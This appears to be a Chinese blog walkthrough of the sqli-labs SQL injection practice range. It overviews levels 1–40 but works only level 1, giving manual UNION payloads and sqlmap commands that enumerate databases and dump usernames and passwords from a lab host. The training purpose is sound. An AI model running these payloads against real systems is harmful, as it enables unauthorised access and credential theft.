sql注入靶场(1-40关)

1、sqli-labs靶场搭建:参考:

sql-labs靶场环境搭建(手把手教你如何搭建)_sqlilabs靶场-CSDN博客

2、开始打靶

综合概述:

1-4、11-14:显注(union)

5-10、15-16:盲注

17-22:报错注入

23:过滤注释

24:二次注入

25-28a:过滤+双写绕过

29-31:http参数污染

32-37:宽字节注入

38-40:堆叠注入

第一关:

显注--union

1、不考虑工具sqlmap,手动注入

使用burp拦截流量,将流量进行主动地扫描,发现在id=1处存在漏洞。

#直接在URL处进行判断,查看输出的值是几列,如果报错就是超过了列数,没报错就是在范围内 ?id=1'order by 3 --+ 未报错

?id=1'order by 4 --+ 报错,说明只有三列

#获取当前系统的数据库名称以及数据库版本号

?id=-1'union select 1,database(),version()--+

获取所有的数据库,使用函数group_concat(column_name)将返回的结果,到一行显示 http://10.1.70.192:32769/Less-1/?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

#获取yanhuo数据库里面所有的数据库表格

http://10.1.70.192:32769/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='yanhuo'--+

#获取li表格里面的信息 http://10.1.70.192:32769/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='li'--+

#获取li表格里面的信息 http://10.1.70.192:32769/Less-1/?id=-1' union select 1,2,group_concat(username, '|', password) from yanhuo.li--+

2、使用工具sqlmap

#打开命令行,使用sqlmap工具:会出来6个数据库(安装好以后是只有5个,但是我们有新创建了一个)

sqlmap -u "http://10.1.70.192:32769/Less-1/?id=1" -p id --dbs

#如果提示5个数据库,表示之前进行过测试,本地有了缓存,使用参数–flush-session刷新即可 sqlmap -u "http://10.1.70.192:32769/Less-1/?id=1" -p id --dbs –flush-session

#检索yanhuo数据库里面的所有信息

sqlmap -u "http://10.1.70.192:32769/Less-1/?id=1" -p id -D yanhuo --tables

#检索li表格里面的所有数据结构

sqlmap -u "http://10.1.70.192:32769/Less-1/?id=1" -p id -D yanhuo -T li --columns

#将li表格里面的数据罗列出来

sqlmap -u "http://10.1.70.192:32769/Less-1/?id=1" -p id -D yanhuo -T li --dump

  • 30
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值